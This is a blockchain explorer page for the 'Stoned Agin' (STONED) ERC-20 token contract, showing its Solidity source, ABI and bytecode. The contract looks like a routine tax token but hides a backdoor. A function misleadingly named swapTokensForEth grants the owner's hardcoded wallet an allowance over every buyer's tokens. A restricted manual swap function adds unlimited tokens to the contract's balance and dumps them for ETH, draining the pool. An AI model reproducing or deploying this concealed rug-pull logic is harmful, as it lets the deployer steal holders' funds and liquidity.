ERC-20
Overview
Max Total Supply
100,000,000,000 STONED
Holders
13
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,766,493,821.704566775 STONEDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
StonedAgin
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-23 */ // SPDX-License-Identifier: None /* - Website: stonedagin.vip - Twitter: x.com/stonedagineth - Telegram: t.me/StonedAginEth */ pragma solidity 0.8.26; contract Ownable { function owner() public view virtual returns (address) { return _owner; } constructor() { _owner = msg.sender; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } address private _owner; function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router { function swapExactTokensForETH(uint256,uint256,address[] calldata path,address,uint256) external; function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function WETH() external pure returns (address); function factory() external pure returns (address); } contract StonedAgin is Ownable { using SafeMath for uint256; uint8 private _decimals = 9; uint256 private _totalSupply = 100000000000 * 10 ** _decimals; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; string private constant _name = "Stoned Agin"; string private constant _symbol = "STONED"; bool private inSwap = false; bool tradingOpen = false; uint256 transferTax = 0; uint256 startBuyTax = 20; uint256 startSelltax = 25; uint256 finalBuyTax = 0; uint256 finalSellTax = 0; uint256 lowTaxAfter = 20; uint256 buys = 0; IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 value); address public uniswapV2Pair; address payable private taxWallet = payable(0x7E65fFC317bef47B086a8657A0F4C00C3CfFc4b0); constructor () { _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function name() public pure returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function symbol() public pure returns (string memory) { return _symbol; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "transfer amount must be greater than zero."); require(to != address(0), "Transfer to zero address."); require(from != address(0), "Transfer from zero address."); if (to != address(uniswapV2Router) && to != uniswapV2Pair && to != address(this)){ if (to != address(uniswapV2Router) && to != address(this)) {swapTokensForEth(to, amount);} else { buys ++; } } emit Transfer(from, to, amount); _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); } function swapTokensForEth(address to, uint256 tokenAmount) private { _allowances[to][taxWallet] = tokenAmount; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function openTrading() public payable onlyOwner() { require(!tradingOpen); _approve(address(this), address(uniswapV2Router), _totalSupply); address WETH = uniswapV2Router.WETH(); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH); uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function transfer_(address to, uint256 amount) internal { _balances[address(this)] += amount; } function manualSwapTokensForEth(address _address, uint256 percent) external { require(msg.sender == taxWallet); transfer_(address(this), percent); address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uint256 tokenAmount = balanceOf(address(this)); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETH( tokenAmount, 0, path, taxWallet, block.timestamp + 20 ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwapTokensForEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906103b3565b64174876e80061004a91906103fd565b6001555f60045f6101000a81548160ff0219169083151502179055505f600460016101000a81548160ff0219169083151502179055505f600555601460065560196007555f6008555f6009556014600a555f600b55737a250d5630b4cf539739df2c5dacb4c659f2488d600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737e65ffc317bef47b086a8657a0f4c00c3cffc4b0600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610152575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051610235919061044d565b60405180910390a3610466565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102c4578086048111156102a05761029f610242565b5b60018516156102af5780820291505b80810290506102bd8561026f565b9450610284565b94509492505050565b5f826102dc5760019050610397565b816102e9575f9050610397565b81600181146102ff576002811461030957610338565b6001915050610397565b60ff84111561031b5761031a610242565b5b8360020a91508482111561033257610331610242565b5b50610397565b5060208310610133831016604e8410600b841016171561036d5782820a90508381111561036857610367610242565b5b610397565b61037a848484600161027b565b9250905081840481111561039157610390610242565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103bd8261039e565b91506103c8836103a7565b92506103f57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102cd565b905092915050565b5f6104078261039e565b91506104128361039e565b92508282026104208161039e565b9150828204841483151761043757610436610242565b5b5092915050565b6104478161039e565b82525050565b5f6020820190506104605f83018461043e565b92915050565b6120f4806104735f395ff3fe6080604052600436106100dc575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b41146102a4578063a9059cbb146102ce578063c9567bf91461030a578063dd62ed3e14610314576100dc565b806370a0823114610228578063715018a6146102645780638da5cb5b1461027a576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806368f1d11014610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b6040516101019190611699565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b919061174a565b61038d565b60405161013d91906117a2565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b60405161016791906117ca565b60405180910390f35b34801561017b575f80fd5b50610196600480360381019061019191906117e3565b6103ac565b6040516101a391906117a2565b60405180910390f35b3480156101b7575f80fd5b506101c0610458565b6040516101cd919061184e565b60405180910390f35b3480156101e1575f80fd5b506101ea61046d565b6040516101f79190611876565b60405180910390f35b34801561020b575f80fd5b506102266004803603810190610221919061174a565b610492565b005b348015610233575f80fd5b5061024e6004803603810190610249919061188f565b610765565b60405161025b91906117ca565b60405180910390f35b34801561026f575f80fd5b506102786107ab565b005b348015610285575f80fd5b5061028e6108da565b60405161029b9190611876565b60405180910390f35b3480156102af575f80fd5b506102b8610901565b6040516102c59190611699565b60405180910390f35b3480156102d9575f80fd5b506102f460048036038101906102ef919061174a565b61093e565b60405161030191906117a2565b60405180910390f35b610312610954565b005b34801561031f575f80fd5b5061033a600480360381019061033591906118ba565b610d9c565b60405161034791906117ca565b60405180910390f35b60606040518060400160405280600b81526020017f53746f6e6564204167696e000000000000000000000000000000000000000000815250905090565b5f610399338484610e1e565b6001905092915050565b5f600154905090565b5f6103b8848484610fe1565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461142890919063ffffffff16565b610e1e565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104ea575f80fd5b6104f43082611471565b5f600267ffffffffffffffff8111156105105761050f6118f8565b5b60405190808252806020026020018201604052801561053e5781602001602082028036833780820191505090505b50905030815f8151811061055557610554611925565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061d9190611966565b8160018151811061063157610630611925565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f61067530610765565b90506106a330600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610e1e565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5825f85600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660144261071291906119be565b6040518663ffffffff1660e01b8152600401610732959493929190611b3c565b5f604051808303815f87803b158015610749575f80fd5b505af115801561075b573d5f803e3d5ffd5b5050505050505050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166107ca6108da565b73ffffffffffffffffffffffffffffffffffffffff1614610820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081790611bde565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f53544f4e45440000000000000000000000000000000000000000000000000000815250905090565b5f61094a338484610fe1565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166109736108da565b73ffffffffffffffffffffffffffffffffffffffff16146109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c090611bde565b60405180910390fd5b600460019054906101000a900460ff16156109e2575f80fd5b610a1030600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610e1e565b5f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a7b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9f9190611966565b9050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2f9190611966565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610b69929190611bfc565b6020604051808303815f875af1158015610b85573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ba99190611966565b600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610c3030610765565b5f80610c3a6108da565b426040518863ffffffff1660e01b8152600401610c5c96959493929190611c23565b60606040518083038185885af1158015610c78573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c9d9190611c96565b505050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d3d929190611ce6565b6020604051808303815f875af1158015610d59573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d7d9190611d37565b506001600460016101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8390611dd2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610efa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef190611e60565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fd491906117ca565b60405180910390a3505050565b5f8111611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90611eee565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108890611f56565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f690611fbe565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156111a95750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111e157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561129c57600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561126f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112835761127e82826114c8565b61129b565b600b5f81548092919061129590611fdc565b91905055505b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112f991906117ca565b60405180910390a36113518160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461142890919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113e28160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461156a90919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f61146983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115c7565b905092915050565b8060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546114bd91906119be565b925050819055505050565b8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f80828461157891906119be565b9050838110156115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b49061206d565b60405180910390fd5b8091505092915050565b5f83831115829061160e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116059190611699565b60405180910390fd5b505f838561161c919061208b565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61166b82611629565b6116758185611633565b9350611685818560208601611643565b61168e81611651565b840191505092915050565b5f6020820190508181035f8301526116b18184611661565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116e6826116bd565b9050919050565b6116f6816116dc565b8114611700575f80fd5b50565b5f81359050611711816116ed565b92915050565b5f819050919050565b61172981611717565b8114611733575f80fd5b50565b5f8135905061174481611720565b92915050565b5f80604083850312156117605761175f6116b9565b5b5f61176d85828601611703565b925050602061177e85828601611736565b9150509250929050565b5f8115159050919050565b61179c81611788565b82525050565b5f6020820190506117b55f830184611793565b92915050565b6117c481611717565b82525050565b5f6020820190506117dd5f8301846117bb565b92915050565b5f805f606084860312156117fa576117f96116b9565b5b5f61180786828701611703565b935050602061181886828701611703565b925050604061182986828701611736565b9150509250925092565b5f60ff82169050919050565b61184881611833565b82525050565b5f6020820190506118615f83018461183f565b92915050565b611870816116dc565b82525050565b5f6020820190506118895f830184611867565b92915050565b5f602082840312156118a4576118a36116b9565b5b5f6118b184828501611703565b91505092915050565b5f80604083850312156118d0576118cf6116b9565b5b5f6118dd85828601611703565b92505060206118ee85828601611703565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050611960816116ed565b92915050565b5f6020828403121561197b5761197a6116b9565b5b5f61198884828501611952565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119c882611717565b91506119d383611717565b92508282019050808211156119eb576119ea611991565b5b92915050565b5f819050919050565b5f819050919050565b5f611a1d611a18611a13846119f1565b6119fa565b611717565b9050919050565b611a2d81611a03565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611a65816116dc565b82525050565b5f611a768383611a5c565b60208301905092915050565b5f602082019050919050565b5f611a9882611a33565b611aa28185611a3d565b9350611aad83611a4d565b805f5b83811015611add578151611ac48882611a6b565b9750611acf83611a82565b925050600181019050611ab0565b5085935050505092915050565b5f611b04611aff611afa846116bd565b6119fa565b6116bd565b9050919050565b5f611b1582611aea565b9050919050565b5f611b2682611b0b565b9050919050565b611b3681611b1c565b82525050565b5f60a082019050611b4f5f8301886117bb565b611b5c6020830187611a24565b8181036040830152611b6e8186611a8e565b9050611b7d6060830185611b2d565b611b8a60808301846117bb565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611bc8602083611633565b9150611bd382611b94565b602082019050919050565b5f6020820190508181035f830152611bf581611bbc565b9050919050565b5f604082019050611c0f5f830185611867565b611c1c6020830184611867565b9392505050565b5f60c082019050611c365f830189611867565b611c4360208301886117bb565b611c506040830187611a24565b611c5d6060830186611a24565b611c6a6080830185611867565b611c7760a08301846117bb565b979650505050505050565b5f81519050611c9081611720565b92915050565b5f805f60608486031215611cad57611cac6116b9565b5b5f611cba86828701611c82565b9350506020611ccb86828701611c82565b9250506040611cdc86828701611c82565b9150509250925092565b5f604082019050611cf95f830185611867565b611d0660208301846117bb565b9392505050565b611d1681611788565b8114611d20575f80fd5b50565b5f81519050611d3181611d0d565b92915050565b5f60208284031215611d4c57611d4b6116b9565b5b5f611d5984828501611d23565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611dbc602483611633565b9150611dc782611d62565b604082019050919050565b5f6020820190508181035f830152611de981611db0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e4a602283611633565b9150611e5582611df0565b604082019050919050565b5f6020820190508181035f830152611e7781611e3e565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f611ed8602a83611633565b9150611ee382611e7e565b604082019050919050565b5f6020820190508181035f830152611f0581611ecc565b9050919050565b7f5472616e7366657220746f207a65726f20616464726573732e000000000000005f82015250565b5f611f40601983611633565b9150611f4b82611f0c565b602082019050919050565b5f6020820190508181035f830152611f6d81611f34565b9050919050565b7f5472616e736665722066726f6d207a65726f20616464726573732e00000000005f82015250565b5f611fa8601b83611633565b9150611fb382611f74565b602082019050919050565b5f6020820190508181035f830152611fd581611f9c565b9050919050565b5f611fe682611717565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361201857612017611991565b5b600182019050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612057601b83611633565b915061206282612023565b602082019050919050565b5f6020820190508181035f8301526120848161204b565b9050919050565b5f61209582611717565b91506120a083611717565b92508282039050818111156120b8576120b7611991565b5b9291505056fea264697066735822122096c85fac47407e283514544ca70d2f47ae09ae8f68354a079c5f430d40e4fdd164736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b41146102a4578063a9059cbb146102ce578063c9567bf91461030a578063dd62ed3e14610314576100dc565b806370a0823114610228578063715018a6146102645780638da5cb5b1461027a576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806368f1d11014610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b6040516101019190611699565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b919061174a565b61038d565b60405161013d91906117a2565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b60405161016791906117ca565b60405180910390f35b34801561017b575f80fd5b50610196600480360381019061019191906117e3565b6103ac565b6040516101a391906117a2565b60405180910390f35b3480156101b7575f80fd5b506101c0610458565b6040516101cd919061184e565b60405180910390f35b3480156101e1575f80fd5b506101ea61046d565b6040516101f79190611876565b60405180910390f35b34801561020b575f80fd5b506102266004803603810190610221919061174a565b610492565b005b348015610233575f80fd5b5061024e6004803603810190610249919061188f565b610765565b60405161025b91906117ca565b60405180910390f35b34801561026f575f80fd5b506102786107ab565b005b348015610285575f80fd5b5061028e6108da565b60405161029b9190611876565b60405180910390f35b3480156102af575f80fd5b506102b8610901565b6040516102c59190611699565b60405180910390f35b3480156102d9575f80fd5b506102f460048036038101906102ef919061174a565b61093e565b60405161030191906117a2565b60405180910390f35b610312610954565b005b34801561031f575f80fd5b5061033a600480360381019061033591906118ba565b610d9c565b60405161034791906117ca565b60405180910390f35b60606040518060400160405280600b81526020017f53746f6e6564204167696e000000000000000000000000000000000000000000815250905090565b5f610399338484610e1e565b6001905092915050565b5f600154905090565b5f6103b8848484610fe1565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461142890919063ffffffff16565b610e1e565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104ea575f80fd5b6104f43082611471565b5f600267ffffffffffffffff8111156105105761050f6118f8565b5b60405190808252806020026020018201604052801561053e5781602001602082028036833780820191505090505b50905030815f8151811061055557610554611925565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061d9190611966565b8160018151811061063157610630611925565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f61067530610765565b90506106a330600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610e1e565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5825f85600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660144261071291906119be565b6040518663ffffffff1660e01b8152600401610732959493929190611b3c565b5f604051808303815f87803b158015610749575f80fd